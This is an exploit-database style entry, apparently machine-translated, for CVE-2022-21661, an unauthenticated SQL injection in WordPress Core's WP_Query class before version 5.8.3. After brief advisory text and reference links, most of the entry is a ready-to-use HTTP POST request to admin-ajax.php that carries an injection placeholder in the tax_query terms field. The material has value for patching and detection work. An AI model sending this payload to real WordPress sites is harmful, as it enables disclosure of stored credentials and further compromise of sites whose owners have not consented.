WordPress Core 5.8.2 - 'WP_ Query'SQL injection

supply ​​ Business Homepage ：https://wordpress.org

Software link ：https://wordpress.org/download/releases

edition ：< 5.8.3

test ：Windows 10

CVE：CVE-2022-21661

This vulnerability allows a remote attacker to disclose the affected WordPress Core Sensitive information installed

Authentication There is no need to exploit this vulnerability , Specific vulnerabilities exist in WP_Query Class , # This problem is due to the use of user supplied strings to build SQL The query was not properly validated before , # An attacker can exploit this vulnerability to disclose stored credentials , This leads to further compromises .

https://wordpress.org/news/category/releases

https://www.zerodayinitiative.com/advisories/ZDI-22-020

https://hackerone.com/reports/1378209

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}